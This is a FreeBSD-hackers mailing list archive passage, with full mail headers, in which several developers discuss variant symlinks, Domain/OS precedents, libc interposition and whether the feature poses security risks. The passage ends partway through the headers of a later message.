From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 02:45:29 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CF059B56 for ; Sun, 23 Feb 2014 02:45:29 +0000 (UTC) Received: from mail-pb0-x235.google.com (mail-pb0-x235.google.com [IPv6:2607:f8b0:400e:c01::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 9F4D9189F for ; Sun, 23 Feb 2014 02:45:29 +0000 (UTC) Received: by mail-pb0-f53.google.com with SMTP id ma3so2414197pbc.12 for ; Sat, 22 Feb 2014 18:45:29 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=0gJlwRfp2+YqiY0Ksft+fxcm4WppsPQAyqXSbgW80Xs=; b=l2fJUu4eZQitaa2ZQ2e5f3WC6k3zzd+Gqfl1GoSXfZLPS/fiifIRBJcbdmTs/xGIvZ w9AfAwCLgeUEnMycilZp3+eQ2Z8G5Qh9cz8mqwCqtspg+rMc90WO0tjD36dn0qocskcU H3njW5R/96/jSpQjCphsZjKfBi8TSEBZPlmaBsCnn7tog1dU6jH1b2j2cbJ3VUfhMTID OYbjLpoLDyrypxhAzoAywGwCGLQpwiHvPPW04RrGfr3GU2Be7fa3mC4dfy5IEwpxDM/f s8cfxY2Op06FCWR4MKRDzN+XhDTglSfNAuGbGVHZ/utj9T/j451bIaSSa2sml2PMd7mC 8xWA== X-Received: by 10.68.202.8 with SMTP id ke8mr17431474pbc.86.1393123529326; Sat, 22 Feb 2014 18:45:29 -0800 (PST) Received: from [10.20.30.117] (75-101-82-48.static.sonic.net. [75.101.82.48]) by mx.google.com with ESMTPSA id e3sm35806708pbc.17.2014.02.22.18.45.27 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 22 Feb 2014 18:45:28 -0800 (PST) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Thoughts on Multi-Symlink Concept From: Jordan Hubbard In-Reply-To: <53092D83.6050603@digiware.nl> Date: Sat, 22 Feb 2014 18:45:25 -0800 Content-Transfer-Encoding: quoted-printable Message-Id: <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> To: Willem Jan Withagen X-Mailer: Apple Mail (2.1827) Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 02:45:29 -0000 On Feb 22, 2014, at 3:06 PM, Willem Jan Withagen = wrote: > Yes, please can we get these .... >=20 > Apollo Domain systems had those, and they were great. > Set SYSTYPE to BSD4 and get the BSD tree and all that came with it, or > SYSV to get the other stuff. Yep, I loved these things on Domain/OS! We system admin types used = them to do all kinds of clever (and useful) things. Looks like FreeBSD has actually *had* an implementation for 6 years now. = I don=92t necessarily agree with the architectural decision to create a = different namespace and command (varsym) to manipulate it - it was = really nice just having it be a part of the standard environ(7) - but = hey, any implementation is better than no implementation. Whatever = happened to = https://wiki.freebsd.org/200808DevSummit?action=3DAttachFile&do=3Dget&targ= et=3Dvariant-symlinks-for-freebsd.pdf ? - Jordan From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 03:13:14 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6321F3EC for ; Sun, 23 Feb 2014 03:13:14 +0000 (UTC) Received: from mail-pb0-x232.google.com (mail-pb0-x232.google.com [IPv6:2607:f8b0:400e:c01::232]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 34B2A1EE2 for ; Sun, 23 Feb 2014 03:13:14 +0000 (UTC) Received: by mail-pb0-f50.google.com with SMTP id rq2so5061325pbb.23 for ; Sat, 22 Feb 2014 19:13:13 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=content-type:mime-version:subject:from:in-reply-to:date:cc :content-transfer-encoding:message-id:references:to; bh=4c4VayxaK/Z50hm87ED9g1qclPuHvi1TUpejJYnWETE=; b=SOi2jJ5zLSAXk6CMgeGzJwpxzVUT7LaqesNvY+W49GLGszPYitdOmnBymO/rJUoRSu TkW8wUO9trzJTPlbMtDZ1bCK9gqHhdFj2+iwgvthu/oP6bhUz5yZY/mRsDIzN3G9TyeC QUO6K0rXxlyp7maHwU0eOhPF2+WSl1k3TgtBJ3ypCy7vinxuc1fNkmnZBUGm3em35w97 MZVBXDg8/pUPCAmAIzvVjJwqtr8Mo28yz8OWodsF8m8OnpHPoCREhGumLiwWDXij4kYr m5uGrK6w2ht0o7TaKQp9zDaZYn4D2ca6NWwumz+EQTti0IAe6ajt0OaqOr9ufWGDd+Dj ta0A== X-Received: by 10.66.141.197 with SMTP id rq5mr3769134pab.64.1393125193877; Sat, 22 Feb 2014 19:13:13 -0800 (PST) Received: from [10.20.30.117] (75-101-82-48.static.sonic.net. [75.101.82.48]) by mx.google.com with ESMTPSA id tu3sm85830706pab.1.2014.02.22.19.13.12 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sat, 22 Feb 2014 19:13:13 -0800 (PST) Content-Type: text/plain; charset=windows-1252 Mime-Version: 1.0 (Mac OS X Mail 7.1 \(1827\)) Subject: Re: Thoughts on Multi-Symlink Concept From: Jordan Hubbard In-Reply-To: <53092D83.6050603@digiware.nl> Date: Sat, 22 Feb 2014 19:13:09 -0800 Content-Transfer-Encoding: quoted-printable Message-Id: References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> To: Willem Jan Withagen X-Mailer: Apple Mail (2.1827) Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 03:13:14 -0000 [ Whoops, my previous reply did not do this one justice - replying to = the other parts of the message now! ] On Feb 22, 2014, at 3:06 PM, Willem Jan Withagen = wrote: > I was running a special patch version 2.2 at one time, that had = variant > replacement in the lookup-cache routines. But I never was able to = figure > out a handy way to get the info back into the kernel. IIRC, Domain/OS dealt with this by making the environment part of the = kernel namespace - e.g. the userland access to it, getenv/setenv/**env, = were actually fault requests back into the kernel for the information. = I believe there were even some limitations on setenv replacing existing = entries because of that, but I may be mis-remembering another Unix=92s = recapitulation of the same feature. Domain/OS was very influential in = that respect, and I recall several others who tried the variant symlink = idea, or riffed off the concept in a more limited fashion (Pyramid=92s = =93universe=94 concept and conditional symbolic links comes to mind). I think to do it now, however, we could take an approach which you = mention but I think don=92t credit enough: > So I gave up. One would need to get at the user environment of the = process, and then parse > and scrutinize the ENV every time you need to use a replacement. So > probably libc is the place to put it, but then you get into trouble > again when somebody uses the not standard libc=85 Which is interposing at the libc level=85 I=92ve seen a number of = surprisingly successful =93science experiments=94 with filesystem = interposing at the libc boundary, trapping all the filesystem access = functions in order to, for example, figure out during a software = package=92s build process, just what header files it read, which helper = binaries it executed, and essentially what its dependencies on other = software packages were. Same with variant symlinks, or per-process = namespaces (where a given process tree sees a different view of the = filesystem hierarchy than others). I think there are so few static = binaries on your average Unix box now, at least not that aren=92t = completely relegated to various =93rescue=94 roles where such features = are less than interesting anyway, that doing it at the libc level is an = entirely reasonable approach for the 99% case. > Also got a lot of flack from people suggesting it would create = security problems.... (I beg to differ) I would also beg to differ. If you don=92t have access to the target of = a symlink without variable expansion, I don=92t see how access *with* = variable expansion is going to make one damn bit of difference! The = security crowd was probably more concerned with the notions of = deliberately overflowing the expansion buffer by creating environment = variables that expanded hugely, or to things with weird special = characters embedded in them, but both of those challenges are easy to = overcome. If you choose to do it in userland, it=92s even easier. Either way, I think it=92s fair to say that one can shoot down almost = any good or interesting idea with =93but but it could create a security = hole!!" and I think that does the cause of evolution much disservice. = Some OS folks like to think that their corner of the universe is where = the rubber really meets the road in terms of (protecting, providing, = enforcing) security, but that=92s just hubris coupled with a longing for = the =93good old days=94 when such fallacies of thought was closer to = being true. Now, of course, the bulk security attacks are centered = around tricking users into doing things that compromise their own = security, much like a good confidence trickster can con someone out of = large sums of money regardless of the fact that there=92s a security = guard with a gun at their bank. The guard can=92t do much if a customer = walks in and withdraws their own money to give to the con man who=92s = waiting outside the front entrance. :-) But, ahem, I digress!! > But I would really like the timewarp back to 1985. Indeed. I often tell interns who are looking for interesting project = ideas to simply look back into our own past. Almost all the really = interesting and cool research activities where operating systems are = concerned seems to have happened between the years of 1970-1990. = Sprite, Plan 9, Mach (hey, file space name servers anyone?), Domain OS, = all kinds of neat ideas that sadly died or were forgotten in the name of = consolidation, performance and expedience. Indeed, the performance of = some of those concepts was actually rather woeful when 4MB of memory and = 1MIP were all you one to work with. Maybe now that we have more = hardware horsepower than we almost know what to do with, it=92s time for = some of those ideas to enjoy a renaissance? Sounds like a good = EuroBSDCon or BSDCan talk. :-) - Jordan From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 11:53:40 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 10348C35 for ; Sun, 23 Feb 2014 11:53:40 +0000 (UTC) Received: from smtp.digiware.nl (unknown [IPv6:2001:4cb8:90:ffff::3]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 923F7153B for ; Sun, 23 Feb 2014 11:53:39 +0000 (UTC) Received: from rack1.digiware.nl (unknown [127.0.0.1]) by smtp.digiware.nl (Postfix) with ESMTP id 48AA01534C4; Sun, 23 Feb 2014 12:53:37 +0100 (CET) X-Virus-Scanned: amavisd-new at digiware.nl Received: from smtp.digiware.nl ([127.0.0.1]) by rack1.digiware.nl (rack1.digiware.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 5E9Rkj1JCqtf; Sun, 23 Feb 2014 12:53:34 +0100 (CET) Received: from [192.168.10.9] (vaio [192.168.10.9]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by smtp.digiware.nl (Postfix) with ESMTPSA id 4AE901534C0; Sun, 23 Feb 2014 12:53:34 +0100 (CET) Message-ID: <5309E142.2020504@digiware.nl> Date: Sun, 23 Feb 2014 12:53:38 +0100 From: Willem Jan Withagen User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Jordan Hubbard Subject: Re: Thoughts on Multi-Symlink Concept References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> In-Reply-To: Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 11:53:40 -0000 On 23-2-2014 4:13, Jordan Hubbard wrote: > [ Whoops, my previous reply did not do this one justice - replying to > the other parts of the message now! ] > > On Feb 22, 2014, at 3:06 PM, Willem Jan Withagen > wrote: > >> I was running a special patch version 2.2 at one time, that had >> variant replacement in the lookup-cache routines. But I never was >> able to figure out a handy way to get the info back into the >> kernel. > > IIRC, Domain/OS dealt with this by making the environment part of the > kernel namespace - e.g. the userland access to it, > getenv/setenv/**env, were actually fault requests back into the > kernel for the information. I believe there were even some > limitations on setenv replacing existing entries because of that, but > I may be mis-remembering another Unix’s recapitulation of the same > feature. Domain/OS was very influential in that respect, and I > recall several others who tried the variant symlink idea, or riffed > off the concept in a more limited fashion (Pyramid’s “universe” > concept and conditional symbolic links comes to mind). One was not able to replace all ENV variables in such a way that it made it into the kernel for variant replacement. Things like NodeID etc... were hardwired. But I don't remember any serious limitations that hindered Unix type behaviour. I probably still have some Domain/OS architecture whitepapers describing hthis. But you are probably right in that it was actually part of the users kernel-space. [ I remember that the way Domain/OS translated its internal PID into the Unix PID was much more cumbersome. The details have evaporated in history, other than that I had to give Wietse Venema access to our boxes to actually get him convinced that I did not smoke anything when doing some tests for him.] > I think to do it now, however, we could take an approach which you > mention but I think don’t credit enough: > >> So I gave up. One would need to get at the user environment of the >> process, and then parse and scrutinize the ENV every time you need >> to use a replacement. So probably libc is the place to put it, but >> then you get into trouble again when somebody uses the not standard >> libc… > > Which is interposing at the libc level… I’ve seen a number of > surprisingly successful “science experiments” with filesystem > interposing at the libc boundary, trapping all the filesystem access > functions in order to, for example, figure out during a software > package’s build process, just what header files it read, which helper > binaries it executed, and essentially what its dependencies on other > software packages were. Same with variant symlinks, or per-process > namespaces (where a given process tree sees a different view of the > filesystem hierarchy than others). I think there are so few static > binaries on your average Unix box now, at least not that aren’t > completely relegated to various “rescue” roles where such features > are less than interesting anyway, that doing it at the libc level is > an entirely reasonable approach for the 99% case. > >> Also got a lot of flack from people suggesting it would create >> security problems.... (I beg to differ) > > I would also beg to differ. If you don’t have access to the target > of a symlink without variable expansion, I don’t see how access > *with* variable expansion is going to make one damn bit of > difference! The security crowd was probably more concerned with the > notions of deliberately overflowing the expansion buffer by creating > environment variables that expanded hugely, or to things with weird > special characters embedded in them, but both of those challenges are > easy to overcome. If you choose to do it in userland, it’s even > easier. Which was exactly my argument. But it could create obfuscation and sorts. I put it more to "what we don't know, we don't like" attitude. And like I said, the business I was running took off, the patches succumbed to bit-rot. I especially like the solution of putting it in kernel-space, which allows for one-time careful scanning... Perhaps even have a setenv/export -vl to push env-values into a special VL-env-buffer? and have a syscall(VLbuffer, {set,get,del}, name, val) With help I would be tempted to dig into this again... Haven't done any serious programming for quite some time. >> But I would really like the timewarp back to 1985. > > Indeed. I often tell interns who are looking for interesting project > ideas to simply look back into our own past. Almost all the really > interesting and cool research activities where operating systems are > concerned seems to have happened between the years of 1970-1990. > Sprite, Plan 9, Mach (hey, file space name servers anyone?), Domain > OS, all kinds of neat ideas that sadly died or were forgotten in the > name of consolidation, performance and expedience. Indeed, the > performance of some of those concepts was actually rather woeful when > 4MB of memory and 1MIP were all you one to work with. Maybe now that > we have more hardware horsepower than we almost know what to do with, > it’s time for some of those ideas to enjoy a renaissance? Sounds > like a good EuroBSDCon or BSDCan talk. :-) Well I do regular talks about the state of the internet. And I start by showing people a picture of an acoustic 300/300 baud modem (1980). to compare that to 500Mbit fiber consumer links that you can get here in the Netherlands. Some hold for CPU speed, or memory space. And then we look at the growth of capabilities of applications, and wonder if we do see a 10^6 growth there too. And I can't help the feeling that we should be able to do more with what we got. But then talking like this, makes me understand why my hairs have gone grey. :) --WjW From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 12:49:09 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C9FBCBB8 for ; Sun, 23 Feb 2014 12:49:09 +0000 (UTC) Received: from smtp.digiware.nl (smtp.digiware.nl [31.223.170.169]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 801101952 for ; Sun, 23 Feb 2014 12:49:09 +0000 (UTC) Received: from rack1.digiware.nl (unknown [127.0.0.1]) by smtp.digiware.nl (Postfix) with ESMTP id BF4C71534EC; Sun, 23 Feb 2014 13:49:07 +0100 (CET) X-Virus-Scanned: amavisd-new at digiware.nl Received: from smtp.digiware.nl ([127.0.0.1]) by rack1.digiware.nl (rack1.digiware.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id h4wu9Y2TDJ1d; Sun, 23 Feb 2014 13:49:05 +0100 (CET) Received: from [192.168.10.9] (vaio [192.168.10.9]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by smtp.digiware.nl (Postfix) with ESMTPSA id 13D86153448; Sun, 23 Feb 2014 13:49:05 +0100 (CET) Message-ID: <5309EE45.8090907@digiware.nl> Date: Sun, 23 Feb 2014 13:49:09 +0100 From: Willem Jan Withagen User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Jordan Hubbard Subject: Re: Thoughts on Multi-Symlink Concept References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> In-Reply-To: <43505B61-FAE8-4A61-922E-78F6007BBFC3@gmail.com> Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: 8bit Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 12:49:09 -0000 On 23-2-2014 3:45, Jordan Hubbard wrote: > > On Feb 22, 2014, at 3:06 PM, Willem Jan Withagen > wrote: > >> Yes, please can we get these .... >> >> Apollo Domain systems had those, and they were great. Set SYSTYPE >> to BSD4 and get the BSD tree and all that came with it, or SYSV to >> get the other stuff. > > Yep, I loved these things on Domain/OS! We system admin types used > them to do all kinds of clever (and useful) things. > > Looks like FreeBSD has actually *had* an implementation for 6 years > now. I don’t necessarily agree with the architectural decision to > create a different namespace and command (varsym) to manipulate it - > it was really nice just having it be a part of the standard > environ(7) - but hey, any implementation is better than no > implementation. Whatever happened to > https://wiki.freebsd.org/200808DevSummit?action=AttachFile&do=get&target=variant-symlinks-for-freebsd.pdf This one came in after your previous one, which I answered extensively. But I see your point in just using ENV, makes life much more consistent. And then again: Any version is better than no version. Could do integration in due time. --WjW From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 15:32:18 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B994412F for ; Sun, 23 Feb 2014 15:32:18 +0000 (UTC) Received: from mail.netplex.net (mail.netplex.net [204.213.176.9]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6A92F1718 for ; Sun, 23 Feb 2014 15:32:18 +0000 (UTC) Received: from sea.ntplx.net (sea.ntplx.net [204.213.176.11]) by mail.netplex.net (8.14.8/8.14.8/NETPLEX) with ESMTP id s1NFIVK2042367; Sun, 23 Feb 2014 10:18:31 -0500 X-Virus-Scanned: by AMaViS and Clam AntiVirus (mail.netplex.net) X-Greylist: Message whitelisted by DRAC access database, not delayed by milter-greylist-4.4.3 (mail.netplex.net [204.213.176.9]); Sun, 23 Feb 2014 10:18:31 -0500 (EST) Date: Sun, 23 Feb 2014 10:18:31 -0500 (EST) From: Daniel Eischen X-X-Sender: eischen@sea.ntplx.net To: Willem Jan Withagen Subject: Re: Thoughts on Multi-Symlink Concept In-Reply-To: <53092D83.6050603@digiware.nl> Message-ID: References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, jordan.hubbard@gmail.com, Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: Daniel Eischen List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 15:32:18 -0000 On Sun, 23 Feb 2014, Willem Jan Withagen wrote: > On 16-2-2014 6:16, Perry Hutchison wrote: >> Jordan Hubbard wrote: >> >>> Even variant symlinks (/bin -> /${ARCH}/bin), which can expand >>> differently depending on the user context, have clearly >>> understandable semantics - you know that the symlink is going >>> to expand to exactly one file no matter what ARCH is set to. >> >> s/file/pathname/ >> >> Depending on what ARCH is set to, the expanision may or may not >> point to any actual file (or directory, or ...) > > Yes, please can we get these .... > > Apollo Domain systems had those, and they were great. > Set SYSTYPE to BSD4 and get the BSD tree and all that came with it, or > SYSV to get the other stuff. > > Would indeed work great for things like /bin or even > /usr/local/etc -> /${HOST}/usr/local/etc This topic comes up every couple of years. I recall Domain OS fondly - it was my first UNIX-like OS. I would really like variant symlinks, but I predict in another couple of years we'll be having the same conversation :-) -- DE From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 16:13:47 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id CC5183B6; Sun, 23 Feb 2014 16:13:47 +0000 (UTC) Received: from smtp.digiware.nl (smtp.digiware.nl [31.223.170.169]) (using TLSv1 with cipher ADH-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 813291CDF; Sun, 23 Feb 2014 16:13:44 +0000 (UTC) Received: from rack1.digiware.nl (unknown [127.0.0.1]) by smtp.digiware.nl (Postfix) with ESMTP id EB705153A53; Sun, 23 Feb 2014 17:13:42 +0100 (CET) X-Virus-Scanned: amavisd-new at digiware.nl Received: from smtp.digiware.nl ([127.0.0.1]) by rack1.digiware.nl (rack1.digiware.nl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id U2lm7WgHeuUt; Sun, 23 Feb 2014 17:13:41 +0100 (CET) Received: from [IPv6:2001:4cb8:3:1:3ce8:7381:241a:6e9b] (unknown [IPv6:2001:4cb8:3:1:3ce8:7381:241a:6e9b]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by smtp.digiware.nl (Postfix) with ESMTPSA id 2451C153448; Sun, 23 Feb 2014 17:13:41 +0100 (CET) Message-ID: <530A1E33.2060007@digiware.nl> Date: Sun, 23 Feb 2014 17:13:39 +0100 From: Willem Jan Withagen User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Daniel Eischen Subject: Re: Thoughts on Multi-Symlink Concept References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, jordan.hubbard@gmail.com, Perry Hutchison X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 16:13:47 -0000 On 23-2-2014 16:18, Daniel Eischen wrote: > This topic comes up every couple of years. I recall > Domain OS fondly - it was my first UNIX-like OS. I would > really like variant symlinks, but I predict in another > couple of years we'll be having the same conversation :-) I did have some exposure with cmd-line unix Sys3, but only after Domain/OS I understood what power was there. Usually when VariantLinks come up, I try to light the fire.... First time was round 2.x, and a few more times in between. And as most say: Show us the code. But Jordan found evidence that is was almost already there. And even then it did not get through. So I'm more than reluctant to burn the few spare hours I have, if it is rejected upon forehand. --WjW From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 16:30:48 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8346CA0D; Sun, 23 Feb 2014 16:30:48 +0000 (UTC) Received: from mail-ea0-x235.google.com (mail-ea0-x235.google.com [IPv6:2a00:1450:4013:c01::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id B5C6F1DC2; Sun, 23 Feb 2014 16:30:47 +0000 (UTC) Received: by mail-ea0-f181.google.com with SMTP id k10so2604893eaj.12 for ; Sun, 23 Feb 2014 08:30:45 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:in-reply-to:references:reply-to :mime-version:content-type:content-transfer-encoding; bh=aTb9QmbShIWgHaX7scedVkmnIexLelLXF4xbIW4NST8=; b=oyRhKplVm5O9HEwocDOtBby7jZ6F6ZobsLd/DMty9J0NEIlXvJuPP9B3ouyTiitbye LKIX30YyAm3D6EoVXOMmdick0puk+TSgGm1wV/xMn0UNqdi2PPXmZFU+hZi1WgXr8qwO GqgZIE6g2Vd7gkIcs7nOWH8aoRr3DGzlUFohKfCgYXm3SU3d2oyt0WS70hvN0lRwiFGE KbyKE67Tsp0tDpcGb6ba0DbK/FQbkTF3nv0VOt/2pEE9bnkN/pMPC/5PHG8v+JdPulfV lo1U/FRoh8GmUyAVOZ1STfppgpiY0xV1imGjiyf3rh2j7/2VMKjQ8sHO+UMUu+G8qXNZ 502w== X-Received: by 10.14.119.197 with SMTP id n45mr19760991eeh.93.1393173045586; Sun, 23 Feb 2014 08:30:45 -0800 (PST) Received: from ernst.home (p578E18E9.dip0.t-ipconnect.de. [87.142.24.233]) by mx.google.com with ESMTPSA id m8sm42852834eef.14.2014.02.23.08.30.43 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Sun, 23 Feb 2014 08:30:44 -0800 (PST) Date: Sun, 23 Feb 2014 17:30:42 +0100 From: Gary Jennejohn To: Daniel Eischen Subject: Re: Thoughts on Multi-Symlink Concept Message-ID: <20140223173042.074d3eb0@ernst.home> In-Reply-To: References: <530049a1.XXZ1PjZFgRyCu9X6%perryh@pluto.rain.com> <53092D83.6050603@digiware.nl> X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.17; amd64-portbld-freebsd11.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Sun, 23 Feb 2014 18:05:07 +0000 Cc: freebsd-filesystems@freebsd.org, freebsd-hackers@freebsd.org, Willem Jan Withagen , Perry Hutchison , jordan.hubbard@gmail.com X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: gljennjohn@gmail.com List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 23 Feb 2014 16:30:48 -0000 On Sun, 23 Feb 2014 10:18:31 -0500 (EST) Daniel Eischen wrote: > On Sun, 23 Feb 2014, Willem Jan Withagen wrote: > > > On 16-2-2014 6:16, Perry Hutchison wrote: > >> Jordan Hubbard wrote: > >> > >>> Even variant symlinks (/bin -> /${ARCH}/bin), which can expand > >>> differently depending on the user context, have clearly > >>> understandable semantics - you know that the symlink is going > >>> to expand to exactly one file no matter what ARCH is set to. > >> > >> s/file/pathname/ > >> > >> Depending on what ARCH is set to, the expanision may or may not > >> point to any actual file (or directory, or ...) > > > > Yes, please can we get these .... > > > > Apollo Domain systems had those, and they were great. > > Set SYSTYPE to BSD4 and get the BSD tree and all that came with it, or > > SYSV to get the other stuff. > > > > Would indeed work great for things like /bin or even > > /usr/local/etc -> /${HOST}/usr/local/etc > > This topic comes up every couple of years. I recall > Domain OS fondly - it was my first UNIX-like OS. I would > really like variant symlinks, but I predict in another > couple of years we'll be having the same conversation :-) > Hear, hear! When I saw the first post I immediately thought "is it 1994 again?" Well, maybe the first discussion wasn't in 1994, but it was quite some time ago. -- Gary Jennejohn From owner-freebsd-hackers@FreeBSD.ORG Sun Feb 23 19:10:59 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org 